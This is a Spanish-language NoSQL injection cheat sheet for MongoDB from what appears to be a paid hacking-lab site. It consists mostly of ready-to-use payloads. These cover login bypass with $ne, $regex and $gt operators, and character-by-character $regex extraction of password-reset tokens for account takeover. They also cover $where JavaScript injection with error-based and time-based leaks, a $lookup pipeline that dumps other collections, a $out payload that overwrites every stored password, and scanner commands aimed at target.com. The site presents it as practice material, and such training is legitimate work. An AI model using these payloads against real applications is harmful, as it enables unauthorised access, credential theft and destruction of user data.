Nuevos labs cada semana — Accede a todos desde 5€/mes
Ver labs →Cheatsheet NoSQL Injection
Inyeccion NoSQL (MongoDB)
Referencia rápida
- →Probar siempre operadores $ne, $gt, $regex en parametros de login como primer test
- →$regex permite extraccion caracter por caracter - ideal para tokens y passwords
- →Error-based extraction con $where: forzar throw para incluir datos sensibles en el error
- →$lookup en aggregation pipeline permite hacer JOIN y leer otras colecciones
- →Prisma ORM: findFirst() es vulnerable a inyeccion de operadores, findUnique() no
Bypass de autenticacion
URL format - $ne
username[$ne]=toto&password[$ne]=toto
URL format - $regex
username[$regex]=.*&password[$regex]=.*
URL format - $exists
username[$exists]=true&password[$exists]=true
JSON - $ne null
{"username": {"$ne": null}, "password": {"$ne": null}}JSON - $ne string
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}JSON - $gt undefined
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}JSON - $gt empty
{"username": {"$gt": ""}, "password": {"$gt": ""}}Inyeccion de operadores
Not equals
username[$ne]=1&password[$ne]=1
Regex match
username[$regex]=^adm&password[$ne]=1
Regex longitudDeterminar longitud del campo
username[$regex]=.{25}&pass[$ne]=1Equals
username[$eq]=admin&password[$ne]=1
Less than
username[$ne]=admin&pass[$lt]=s
Greater than
username[$ne]=admin&pass[$gt]=s
Not in array
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7
$in con multiples usuarios
{"username":{"$in":["Admin","admin","root","administrator"]},"password":{"$gt":""}}$regex oracle - extraccion caracter por caracter
Extraer primer caracterSi respuesta es diferente, el campo empieza con A
{"token": {"$regex": "^A"}}Extraer segundo caracterContinuar: ^Ab, ^Ac, ... hasta match
{"token": {"$regex": "^Ab"}}Password reset token leak
1. POST /forgot-password (generar token)
2. {"token": {"$regex": "^A"}} -> probar A-Z, 0-9
3. Match = caracter correcto -> continuar
4. Leak token completo -> cambiar password -> ATOBinary search optimizadoReducir de ~127 a ~7 queries por caracter usando rangos binarios
{"password": {"$regex": "^[a-m]"}}$where y JavaScript injection
$where basico
' || 1==1//
$where con null byte
' || 1==1%00
$where equals
'=='
Error-based extractionEl error message incluye el valor secreto
{"$where": "this.username==='admin' && (()=>{ throw this.secret })()"}Time-based injection
admin'+function(x){var waitTill=new Date(new Date().getTime()+5000);while((x.password[0]==="a") && waitTill>new Date()){};}(this)+'Sleep-based
';sleep(5000);
Inyeccion en aggregation pipeline
$lookup - JOIN para leak data
[{"$lookup":{"from":"users","pipeline":[{"$match":{"_id":{"$ne":""}}}],"as":"leaked"}},{"$unwind":"$leaked"}]$out - sobrescribir coleccionSobrescribe passwords de toda la coleccion
[{"$skip":999},{"$unionWith":"users"},{"$set":{"password":"hacked"}},{"$out":"users"}]Prisma findFirst bypassfindFirst es vulnerable, findUnique no
{"username": {"not": "admin"}, "email": {"startsWith": "a"}}Herramientas
NoSQLMap
Herramienta automatizada de NoSQL injection para MongoDB
python3 nosqlmap.py -u https://target.com/login -p username,password
nosqli
Scanner CLI de NoSQL injection con multiples tecnicas
nosqli scan -t https://target.com/api/login
Burp Suite + NoSQLi extension
Extension de Burp para deteccion automatica de NoSQL injection
Burp > Extensions > NoSQL Injection
Contenido relacionado
¿Listo para practicar?
Pon en práctica estos payloads en labs reales basados en reportes de bug bounty.
Ver labs de práctica